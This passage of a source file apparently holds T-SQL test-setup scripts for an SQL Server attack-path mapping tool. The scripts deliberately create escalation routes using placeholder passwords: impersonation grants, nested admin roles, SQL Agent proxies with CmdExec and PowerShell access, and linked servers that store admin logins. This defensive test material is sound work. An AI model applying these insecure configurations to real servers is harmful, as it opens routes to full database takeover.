LoginType, + c.name AS CredentialName, + c.credential_identity AS CredentialIdentity +FROM sys.server_principals sp +LEFT JOIN sys.credentials c ON sp.credential_id = c.credential_id +WHERE (sp.name LIKE 'HasMappedCredTest_%' OR sp.credential_id IS NOT NULL) + AND sp.name NOT LIKE '##%' -- Exclude system logins +ORDER BY sp.name; + +PRINT ''; +PRINT 'MSSQL_HasMappedCred test setup completed'; +`, + "HasProxyCred": ` +-- ===================================================== +-- SETUP FOR MSSQL_HasProxyCred EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create server-level credentials for proxy accounts +-- Credential for domain user (ETL operations) +IF EXISTS (SELECT * FROM sys.credentials WHERE name = 'HasProxyCredTest_ETLUserCred') + DROP CREDENTIAL [HasProxyCredTest_ETLUserCred]; +CREATE CREDENTIAL [HasProxyCredTest_ETLUserCred] + WITH IDENTITY = '$Domain\EdgeTestDomainUser1', + SECRET = 'EdgeTestP@ss123!'; + +-- Credential for service account (backup operations) +IF EXISTS (SELECT * FROM sys.credentials WHERE name = 'HasProxyCredTest_BackupServiceCred') + DROP CREDENTIAL [HasProxyCredTest_BackupServiceCred]; +CREATE CREDENTIAL [HasProxyCredTest_BackupServiceCred] + WITH IDENTITY = '$Domain\EdgeTestDomainUser2', + SECRET = 'EdgeTestP@ss123!'; + +-- Credential for computer account +IF EXISTS (SELECT * FROM sys.credentials WHERE name = 'HasProxyCredTest_ComputerCred') + DROP CREDENTIAL [HasProxyCredTest_ComputerCred]; +CREATE CREDENTIAL [HasProxyCredTest_ComputerCred] + WITH IDENTITY = '$Domain\TestComputer$', + SECRET = 'ComputerP@ss123!'; + +-- Non-domain credential (negative test) +IF EXISTS (SELECT * FROM sys.credentials WHERE name = 'HasProxyCredTest_LocalCred') + DROP CREDENTIAL [HasProxyCredTest_LocalCred]; +CREATE CREDENTIAL [HasProxyCredTest_LocalCred] + WITH IDENTITY = 'NT AUTHORITY\LOCAL SERVICE', + SECRET = 'LocalP@ss123!'; + +-- ===================================================== +-- Create SQL Agent proxies +-- ===================================================== +USE msdb; +GO + +-- ETL Proxy (authorized to SQL login and server role) +IF EXISTS (SELECT * FROM dbo.sysproxies WHERE name = 'HasProxyCredTest_ETLProxy') + EXEC dbo.sp_delete_proxy @proxy_name = 'HasProxyCredTest_ETLProxy'; + +EXEC dbo.sp_add_proxy + @proxy_name = 'HasProxyCredTest_ETLProxy', + @credential_name = 'HasProxyCredTest_ETLUserCred', + @enabled = 1, + @description = 'Proxy for ETL operations'; + +-- Grant proxy to CmdExec and PowerShell subsystems +EXEC dbo.sp_grant_proxy_to_subsystem + @proxy_name = 'HasProxyCredTest_ETLProxy', + @subsystem_name = 'CmdExec'; + +EXEC dbo.sp_grant_proxy_to_subsystem + @proxy_name = 'HasProxyCredTest_ETLProxy', + @subsystem_name = 'PowerShell'; + +-- Backup Proxy (authorized to different principals) +IF EXISTS (SELECT * FROM dbo.sysproxies WHERE name = 'HasProxyCredTest_BackupProxy') + EXEC dbo.sp_delete_proxy @proxy_name = 'HasProxyCredTest_BackupProxy'; + +EXEC dbo.sp_add_proxy + @proxy_name = 'HasProxyCredTest_BackupProxy', + @credential_name = 'HasProxyCredTest_BackupServiceCred', + @enabled = 1, + @description = 'Proxy for backup operations'; + +-- Grant proxy to CmdExec subsystem only +EXEC dbo.sp_grant_proxy_to_subsystem + @proxy_name = 'HasProxyCredTest_BackupProxy', + @subsystem_name = 'CmdExec'; + +-- Disabled proxy (negative test) +IF EXISTS (SELECT * FROM dbo.sysproxies WHERE name = 'HasProxyCredTest_DisabledProxy') + EXEC dbo.sp_delete_proxy @proxy_name = 'HasProxyCredTest_DisabledProxy'; + +EXEC dbo.sp_add_proxy + @proxy_name = 'HasProxyCredTest_DisabledProxy', + @credential_name = 'HasProxyCredTest_ComputerCred', + @enabled = 0, -- Disabled + @description = 'Disabled proxy for testing'; + +-- Grant subsystem but proxy is disabled +EXEC dbo.sp_grant_proxy_to_subsystem + @proxy_name = 'HasProxyCredTest_DisabledProxy', + @subsystem_name = 'CmdExec'; + +-- Local credential proxy (negative test - non-domain) +IF EXISTS (SELECT * FROM dbo.sysproxies WHERE name = 'HasProxyCredTest_LocalProxy') + EXEC dbo.sp_delete_proxy @proxy_name = 'HasProxyCredTest_LocalProxy'; + +EXEC dbo.sp_add_proxy + @proxy_name = 'HasProxyCredTest_LocalProxy', + @credential_name = 'HasProxyCredTest_LocalCred', + @enabled = 1, + @description = 'Proxy with local credential'; + +USE master; +GO + +-- ===================================================== +-- Create logins and grant proxy access +-- ===================================================== + +-- SQL login authorized to use ETL proxy +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasProxyCredTest_ETLOperator') + CREATE LOGIN [HasProxyCredTest_ETLOperator] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- SQL login authorized to use backup proxy +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasProxyCredTest_BackupOperator') + CREATE LOGIN [HasProxyCredTest_BackupOperator] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Server role authorized to use proxies +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasProxyCredTest_ProxyUsers' AND type = 'R') + CREATE SERVER ROLE [HasProxyCredTest_ProxyUsers]; + +-- SQL login not authorized to any proxy (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'HasProxyCredTest_NoProxyAccess') + CREATE LOGIN [HasProxyCredTest_NoProxyAccess] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Windows login to test +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser1') + CREATE LOGIN [$Domain\EdgeTestDomainUser1] FROM WINDOWS; + +-- ===================================================== +-- Grant proxy access to principals +-- ===================================================== +USE msdb; +GO + +-- Grant ETL proxy to SQL login +EXEC dbo.sp_grant_login_to_proxy + @login_name = 'HasProxyCredTest_ETLOperator', + @proxy_name = 'HasProxyCredTest_ETLProxy'; + +-- Grant ETL proxy to server role +EXEC dbo.sp_grant_login_to_proxy + @login_name = 'HasProxyCredTest_ProxyUsers', + @proxy_name = 'HasProxyCredTest_ETLProxy'; + +-- Grant backup proxy to different login +EXEC dbo.sp_grant_login_to_proxy + @login_name = 'HasProxyCredTest_BackupOperator', + @proxy_name = 'HasProxyCredTest_BackupProxy'; + +-- Grant disabled proxy to login (still creates edge but proxy is disabled) +EXEC dbo.sp_grant_login_to_proxy + @login_name = 'HasProxyCredTest_ETLOperator', + @proxy_name = 'HasProxyCredTest_DisabledProxy'; + +-- Grant proxy to Windows login +EXEC dbo.sp_grant_login_to_proxy + @login_name = '$Domain\EdgeTestDomainUser1', + @proxy_name = 'HasProxyCredTest_BackupProxy'; + +USE master; +GO + +-- ===================================================== +-- Verify proxy configurations +-- ===================================================== +PRINT ''; +PRINT 'SQL Agent Proxy configurations:'; +SELECT + p.name AS ProxyName, + c.credential_identity AS RunsAs, + p.enabled AS IsEnabled, + STUFF(( + SELECT ', ' + SUSER_SNAME(pl.sid) + FROM msdb.dbo.sysproxylogin pl + WHERE pl.proxy_id = p.proxy_id + FOR XML PATH('') + ), 1, 2, '') AS AuthorizedPrincipals, + STUFF(( + SELECT ', ' + s.subsystem + FROM msdb.dbo.sysproxysubsystem ps + INNER JOIN msdb.dbo.syssubsystems s ON ps.subsystem_id = s.subsystem_id + WHERE ps.proxy_id = p.proxy_id + FOR XML PATH('') + ), 1, 2, '') AS Subsystems +FROM msdb.dbo.sysproxies p +INNER JOIN sys.credentials c ON p.credential_id = c.credential_id +WHERE p.name LIKE 'HasProxyCredTest_%' +ORDER BY p.name; + +PRINT ''; +PRINT 'MSSQL_HasProxyCred test setup completed'; +`, + "Impersonate": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_Impersonate EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_Impersonate edges (offensive, non-traversable) + +-- Create test database if it doesn't exist +CREATE DATABASE [EdgeTest_Impersonate]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> Login +-- ===================================================== + +-- Login with IMPERSONATE permission on another login +CREATE LOGIN [ImpersonateTest_Login_CanImpersonateLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [ImpersonateTest_Login_TargetOf_Login_CanImpersonateLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ON LOGIN::[ImpersonateTest_Login_TargetOf_Login_CanImpersonateLogin] TO [ImpersonateTest_Login_CanImpersonateLogin]; + +-- ServerRole with IMPERSONATE permission on login +CREATE SERVER ROLE [ImpersonateTest_ServerRole_CanImpersonateLogin]; +CREATE LOGIN [ImpersonateTest_Login_TargetOf_ServerRole_CanImpersonateLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ON LOGIN::[ImpersonateTest_Login_TargetOf_ServerRole_CanImpersonateLogin] TO [ImpersonateTest_ServerRole_CanImpersonateLogin]; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_Impersonate]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser -> DatabaseUser +-- ===================================================== + +-- DatabaseUser with IMPERSONATE permission on another database user +CREATE USER [ImpersonateTest_User_CanImpersonateDbUser] WITHOUT LOGIN; +CREATE USER [ImpersonateTest_User_TargetOf_User_CanImpersonateDbUser] WITHOUT LOGIN; +GRANT IMPERSONATE ON USER::[ImpersonateTest_User_TargetOf_User_CanImpersonateDbUser] TO [ImpersonateTest_User_CanImpersonateDbUser]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseRole -> DatabaseUser +-- ===================================================== + +-- DatabaseRole with IMPERSONATE permission on database user +CREATE ROLE [ImpersonateTest_DbRole_CanImpersonateDbUser]; +CREATE USER [ImpersonateTest_User_TargetOf_DbRole_CanImpersonateDbUser] WITHOUT LOGIN; +GRANT IMPERSONATE ON USER::[ImpersonateTest_User_TargetOf_DbRole_CanImpersonateDbUser] TO [ImpersonateTest_DbRole_CanImpersonateDbUser]; + +-- ===================================================== +-- DATABASE LEVEL: ApplicationRole -> DatabaseUser +-- ===================================================== + +-- ApplicationRole with IMPERSONATE permission on database user +CREATE APPLICATION ROLE [ImpersonateTest_AppRole_CanImpersonateDbUser] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE USER [ImpersonateTest_User_TargetOf_AppRole_CanImpersonateDbUser] WITHOUT LOGIN; +GRANT IMPERSONATE ON USER::[ImpersonateTest_User_TargetOf_AppRole_CanImpersonateDbUser] TO [ImpersonateTest_AppRole_CanImpersonateDbUser]; + +USE master; +GO + +PRINT 'MSSQL_Impersonate test setup completed'; +`, + "ImpersonateAnyLogin": ` +-- ===================================================== +-- SETUP FOR MSSQL_ImpersonateAnyLogin EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create logins with IMPERSONATE ANY LOGIN permission +-- SQL login with IMPERSONATE ANY LOGIN +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'ImpersonateAnyLoginTest_Login_Direct') + CREATE LOGIN [ImpersonateAnyLoginTest_Login_Direct] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ANY LOGIN TO [ImpersonateAnyLoginTest_Login_Direct]; + +-- Server role with IMPERSONATE ANY LOGIN +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'ImpersonateAnyLoginTest_Role_HasPermission' AND type = 'R') + CREATE SERVER ROLE [ImpersonateAnyLoginTest_Role_HasPermission]; +GRANT IMPERSONATE ANY LOGIN TO [ImpersonateAnyLoginTest_Role_HasPermission]; + +-- Login member of role with IMPERSONATE ANY LOGIN +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'ImpersonateAnyLoginTest_Login_ViaRole') + CREATE LOGIN [ImpersonateAnyLoginTest_Login_ViaRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [ImpersonateAnyLoginTest_Role_HasPermission] ADD MEMBER [ImpersonateAnyLoginTest_Login_ViaRole]; + +-- Windows login with IMPERSONATE ANY LOGIN +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser1') + CREATE LOGIN [$Domain\EdgeTestDomainUser1] FROM WINDOWS; +GRANT IMPERSONATE ANY LOGIN TO [$Domain\EdgeTestDomainUser1]; + +-- Create test targets to impersonate +-- High privilege login (sysadmin) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'ImpersonateAnyLoginTest_Target_Sysadmin') + CREATE LOGIN [ImpersonateAnyLoginTest_Target_Sysadmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [sysadmin] ADD MEMBER [ImpersonateAnyLoginTest_Target_Sysadmin]; + +-- Regular login +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'ImpersonateAnyLoginTest_Target_Regular') + CREATE LOGIN [ImpersonateAnyLoginTest_Target_Regular] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Login without IMPERSONATE ANY LOGIN (negative test) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'ImpersonateAnyLoginTest_Login_NoPermission') + CREATE LOGIN [ImpersonateAnyLoginTest_Login_NoPermission] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Verify permissions +PRINT ''; +PRINT 'Principals with IMPERSONATE ANY LOGIN permission:'; +SELECT + p.name AS PrincipalName, + p.type_desc AS PrincipalType, + sp.permission_name, + sp.state_desc +FROM sys.server_permissions sp +INNER JOIN sys.server_principals p ON sp.grantee_principal_id = p.principal_id +WHERE sp.permission_name = 'IMPERSONATE ANY LOGIN' + AND sp.state IN ('GRANT', 'GRANT_WITH_GRANT_OPTION') +ORDER BY p.name; + +PRINT ''; +PRINT 'MSSQL_ImpersonateAnyLogin test setup completed'; +`, + "IsMappedTo": ` +-- ===================================================== +-- SETUP FOR MSSQL_IsMappedTo EDGE TESTING +-- ===================================================== +USE master; +GO + +-- Create SQL logins +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'IsMappedToTest_SQLLogin_WithDBUser') + CREATE LOGIN [IsMappedToTest_SQLLogin_WithDBUser] WITH PASSWORD = 'EdgeTestP@ss123!'; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'IsMappedToTest_SQLLogin_NoDBUser') + CREATE LOGIN [IsMappedToTest_SQLLogin_NoDBUser] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create Windows logins +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser1') + CREATE LOGIN [$Domain\EdgeTestDomainUser1] FROM WINDOWS; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser2') + CREATE LOGIN [$Domain\EdgeTestDomainUser2] FROM WINDOWS; + +-- Create test databases +CREATE DATABASE [EdgeTest_IsMappedTo_Primary]; +GO + +CREATE DATABASE [EdgeTest_IsMappedTo_Secondary]; +GO + +-- ===================================================== +-- PRIMARY DATABASE - Create mapped users +-- ===================================================== +USE [EdgeTest_IsMappedTo_Primary]; +GO + +-- SQL user mapped to SQL login +CREATE USER [IsMappedToTest_SQLLogin_WithDBUser] FOR LOGIN [IsMappedToTest_SQLLogin_WithDBUser]; + +-- Windows user mapped to Windows login +CREATE USER [$Domain\EdgeTestDomainUser1] FOR LOGIN [$Domain\EdgeTestDomainUser1]; + +-- User without login (orphaned - negative test) +CREATE USER [IsMappedToTest_OrphanedUser] WITHOUT LOGIN; + +-- ===================================================== +-- SECONDARY DATABASE - Different mappings +-- ===================================================== +USE [EdgeTest_IsMappedTo_Secondary]; +GO + +-- Same SQL login mapped to different user name +CREATE USER [IsMappedToTest_DifferentUserName] FOR LOGIN [IsMappedToTest_SQLLogin_WithDBUser]; + +-- Windows user 2 mapped +CREATE USER [$Domain\EdgeTestDomainUser2] FOR LOGIN [$Domain\EdgeTestDomainUser2]; + +-- Create master key for certificate operations +IF NOT EXISTS (SELECT * FROM sys.symmetric_keys WHERE name = '##MS_DatabaseMasterKey##') + CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'EdgeTestMasterKey123!'; +GO + +-- Certificate mapped user (if testing certificate mappings) +CREATE CERTIFICATE IsMappedToTest_Cert WITH SUBJECT = 'Test Certificate'; +CREATE USER [IsMappedToTest_CertUser] FOR CERTIFICATE IsMappedToTest_Cert; + +USE master; +GO + +-- Verify mappings +PRINT ''; +PRINT 'Login to Database User mappings:'; +SELECT + sp.name AS LoginName, + sp.type_desc AS LoginType, + DB_NAME() + '\' + dp.name AS DatabaseUser, + dp.type_desc AS UserType +FROM sys.server_principals sp +INNER JOIN sys.database_principals dp ON sp.sid = dp.sid +WHERE sp.name LIKE '%IsMappedToTest_%' OR sp.name LIKE '%EdgeTest%' +ORDER BY sp.name, DB_NAME(); + +PRINT ''; +PRINT 'MSSQL_IsMappedTo test setup completed'; +`, + "LinkedTo": ` +-- ===================================================== +-- SETUP FOR MSSQL_LinkedTo and MSSQL_LinkedAsAdmin EDGE TESTING +-- ===================================================== +USE master; +GO + +-- ===================================================== +-- 1. REGULAR SQL LOGIN - No admin privileges +-- Expected: Creates LinkedTo but NOT LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_Regular') + CREATE LOGIN [LinkedToTest_SQLLogin_Regular] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- ===================================================== +-- 2. SYSADMIN SQL LOGIN - Direct sysadmin membership +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_Sysadmin') + CREATE LOGIN [LinkedToTest_SQLLogin_Sysadmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [sysadmin] ADD MEMBER [LinkedToTest_SQLLogin_Sysadmin]; + +-- ===================================================== +-- 3. SECURITYADMIN SQL LOGIN - Direct securityadmin membership +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_SecurityAdmin') + CREATE LOGIN [LinkedToTest_SQLLogin_SecurityAdmin] WITH PASSWORD = 'EdgeTestP@ss123!'; +ALTER SERVER ROLE [securityadmin] ADD MEMBER [LinkedToTest_SQLLogin_SecurityAdmin]; + +-- ===================================================== +-- 4. CONTROL SERVER SQL LOGIN - Direct CONTROL SERVER permission +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_ControlServer') + CREATE LOGIN [LinkedToTest_SQLLogin_ControlServer] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT CONTROL SERVER TO [LinkedToTest_SQLLogin_ControlServer]; + +-- ===================================================== +-- 5. IMPERSONATE ANY LOGIN SQL LOGIN - Direct IMPERSONATE ANY LOGIN permission +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_ImpersonateAnyLogin') + CREATE LOGIN [LinkedToTest_SQLLogin_ImpersonateAnyLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT IMPERSONATE ANY LOGIN TO [LinkedToTest_SQLLogin_ImpersonateAnyLogin]; + +-- ===================================================== +-- 6. SQL LOGIN WITH 1-LEVEL NESTED ADMIN ROLE +-- Login -> Role (with CONTROL SERVER) +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_WithAdminRole') + CREATE LOGIN [LinkedToTest_SQLLogin_WithAdminRole] WITH PASSWORD = 'EdgeTestP@ss123!'; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_CustomAdminRole' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_CustomAdminRole]; +GRANT CONTROL SERVER TO [LinkedToTest_CustomAdminRole]; +ALTER SERVER ROLE [LinkedToTest_CustomAdminRole] ADD MEMBER [LinkedToTest_SQLLogin_WithAdminRole]; + +-- ===================================================== +-- 7. SQL LOGIN WITH 3-LEVEL NESTED SECURITYADMIN +-- Login -> Role1 -> Role2 -> Role3 -> securityadmin +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_NestedSecurityAdmin') + CREATE LOGIN [LinkedToTest_SQLLogin_NestedSecurityAdmin] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create nested role hierarchy +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_Level1' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_Level1]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_Level2' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_Level2]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_Level3' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_Level3]; + +-- Build the hierarchy: Login -> Level1 -> Level2 -> Level3 -> securityadmin +ALTER SERVER ROLE [LinkedToTest_Role_Level1] ADD MEMBER [LinkedToTest_SQLLogin_NestedSecurityAdmin]; +ALTER SERVER ROLE [LinkedToTest_Role_Level2] ADD MEMBER [LinkedToTest_Role_Level1]; +ALTER SERVER ROLE [LinkedToTest_Role_Level3] ADD MEMBER [LinkedToTest_Role_Level2]; +ALTER SERVER ROLE [securityadmin] ADD MEMBER [LinkedToTest_Role_Level3]; + +-- ===================================================== +-- 8. SQL LOGIN WITH 3-LEVEL NESTED CONTROL SERVER +-- Login -> RoleA -> RoleB -> RoleC (with CONTROL SERVER) +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_NestedControlServer') + CREATE LOGIN [LinkedToTest_SQLLogin_NestedControlServer] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create nested role hierarchy +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_LevelA' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_LevelA]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_LevelB' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_LevelB]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_LevelC' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_LevelC]; + +-- Build the hierarchy: Login -> LevelA -> LevelB -> LevelC (grant CONTROL SERVER to LevelC) +ALTER SERVER ROLE [LinkedToTest_Role_LevelA] ADD MEMBER [LinkedToTest_SQLLogin_NestedControlServer]; +ALTER SERVER ROLE [LinkedToTest_Role_LevelB] ADD MEMBER [LinkedToTest_Role_LevelA]; +ALTER SERVER ROLE [LinkedToTest_Role_LevelC] ADD MEMBER [LinkedToTest_Role_LevelB]; +GRANT CONTROL SERVER TO [LinkedToTest_Role_LevelC]; + +-- ===================================================== +-- 9. SQL LOGIN WITH 3-LEVEL NESTED IMPERSONATE ANY LOGIN +-- Login -> RoleX -> RoleY -> RoleZ (with IMPERSONATE ANY LOGIN) +-- Expected: Creates both LinkedTo and LinkedAsAdmin +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_SQLLogin_NestedImpersonate') + CREATE LOGIN [LinkedToTest_SQLLogin_NestedImpersonate] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create nested role hierarchy +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_LevelX' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_LevelX]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_LevelY' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_LevelY]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'LinkedToTest_Role_LevelZ' AND type = 'R') + CREATE SERVER ROLE [LinkedToTest_Role_LevelZ]; + +-- Build the hierarchy: Login -> LevelX -> LevelY -> LevelZ (grant IMPERSONATE ANY LOGIN to LevelZ) +ALTER SERVER ROLE [LinkedToTest_Role_LevelX] ADD MEMBER [LinkedToTest_SQLLogin_NestedImpersonate]; +ALTER SERVER ROLE [LinkedToTest_Role_LevelY] ADD MEMBER [LinkedToTest_Role_LevelX]; +ALTER SERVER ROLE [LinkedToTest_Role_LevelZ] ADD MEMBER [LinkedToTest_Role_LevelY]; +GRANT IMPERSONATE ANY LOGIN TO [LinkedToTest_Role_LevelZ]; + +-- ===================================================== +-- 10. WINDOWS AUTHENTICATION LOGIN +-- Expected: Creates LinkedTo but NOT LinkedAsAdmin (not a SQL login) +-- ===================================================== +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser1') + CREATE LOGIN [$Domain\EdgeTestDomainUser1] FROM WINDOWS; + +-- ===================================================== +-- DROP AND RECREATE LINKED SERVERS +-- ===================================================== +-- Drop existing linked servers if they exist +DECLARE @dropCmd NVARCHAR(MAX) = ''; +SELECT @dropCmd = @dropCmd + + 'IF EXISTS (SELECT * FROM sys.servers WHERE name = ''' + name + ''') + EXEC sp_dropserver ''' + name + ''', ''droplogins'';' +FROM sys.servers +WHERE name LIKE 'TESTLINKEDTO_LOOPBACK_%'; +EXEC(@dropCmd); + +-- Create loopback linked servers with different authentication methods +DECLARE @ServerName NVARCHAR(128) = @@SERVERNAME; + +-- 1. Regular SQL login (no admin) +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_REGULAR', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_REGULAR', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_Regular', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 2. Direct sysadmin +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_SYSADMIN', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_SYSADMIN', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_Sysadmin', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 3. Direct securityadmin +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_SECURITYADMIN', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_SECURITYADMIN', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_SecurityAdmin', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 4. Direct CONTROL SERVER +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_CONTROLSERVER', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_CONTROLSERVER', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_ControlServer', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 5. Direct IMPERSONATE ANY LOGIN +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_IMPERSONATE', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_IMPERSONATE', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_ImpersonateAnyLogin', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 6. 1-level nested admin role +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_ADMINROLE', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_ADMINROLE', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_WithAdminRole', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 7. 3-level nested securityadmin +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_NESTED_SECADMIN', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_NESTED_SECADMIN', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_NestedSecurityAdmin', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 8. 3-level nested CONTROL SERVER +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_NESTED_CONTROL', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_NESTED_CONTROL', + @useself = 'FALSE', + @rmtuser = 